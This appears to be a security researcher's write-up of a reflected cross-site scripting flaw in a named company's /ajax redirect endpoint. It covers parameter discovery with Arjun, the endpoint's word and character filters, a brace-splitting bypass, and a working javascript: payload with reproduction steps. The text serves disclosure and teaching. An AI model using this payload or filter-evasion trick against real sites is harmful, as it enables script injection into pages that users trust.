While testing Razer’s web application, I identified an XSS vulnerability in their /ajax
endpoint. The issue arises due to insufficient validation of the URL
parameter, allowing JavaScript execution despite filtering attempts. This write-up outlines how I discovered the parameter using Arjun, crafted a bypass for their filters and successfully executed a proof of concept (PoC).
To begin, I used Arjun, a tool designed to identify query parameters that web applications accept and process. Running the following command revealed the presence of the URL
parameter:
arjun -u https://www2.razer.com/ajax
Arjun reported that the URL
parameter was being processed by the server. Further testing revealed that its value was reflected in the response.
When passing a value to the URL
parameter, the application rendered the following HTML response:
Request:
https://www2.razer.com/ajax?URL=https://google.com
Response:
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>Redirect</title>
</head>
<body>
<p>To proceed to the URL you have requested, click the link below:</p>
<p><a href='https://google.com'>https://google.com</a></p>
</body>
</html>
This indicated that the server did not validate the protocol or sanitize the input properly. I tested various protocols, including javascript://
, which allowed me to inject JavaScript. However, initial attempts at executing JavaScript code encountered several backend restrictions.
Understanding the Filter Mechanism
The backend implemented some basic filtering:
- Blocked Words: The backend blocked words like
window
,alert
,eval
, anderror
. - Removed Characters: It also removed
{
,}
,(
,)
,`
characters from the input.
Testing an invalid URL containing alert
, for example, returned a 500 Internal Server Error
:
Request:
https://www2.razer.com/ajax?URL=https://alert.com
Response:
Bypassing the Filter
To bypass the restrictions, I discovered that embedding {}
characters inside blocked words would bypass the backend’s WAF. For example, by splitting alert
into a{ler}t
, I was able to reintroduce the forbidden characters and evade detection.
Request:
https://www2.razer.com/ajax?URL=https://a{ler}t.com
Response:
This confirmed that the WAF could be bypassed using encoded or obfuscated characters. With this insight, I proceeded to craft a more advanced payload.
To bypass these restrictions, I encoded the {
and }
characters by embedding them inside blocked words. This allowed me to reintroduce the forbidden characters while bypassing the filters.
Final Payload:
javascript://%250athrow%20on{err}o}r=a{ler}t,1337
This payload uses:
javascript://
Protocol: Allows JavaScript execution.- Encoded Characters:
%250a
for a newline and{}
embedded inside blocked words to bypass the filter. - Triggering Code: Assigning
onerror
to execute an alert with the value1337
.
Steps to Reproduce
- Open the vulnerable URL with the crafted payload:
https://www2.razer.com/ajax?URL=javascript://%250athrow%20on{err}o}r=a{ler}t,1337
- The server responds with the following HTML:
<html>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>Redirect</title>
</head>
<body>
<p>To proceed to the URL you have requested, click the link below:</p>
<p><a href='javascript://%0athrow%20onerror=alert,1337'>javascript://%0athrow onerror=alert,1337</a></p>
</body>
</html>
- Click the displayed payload link on the rendered page.
- The XSS payload is executed, triggering an alert box.
Leave a Reply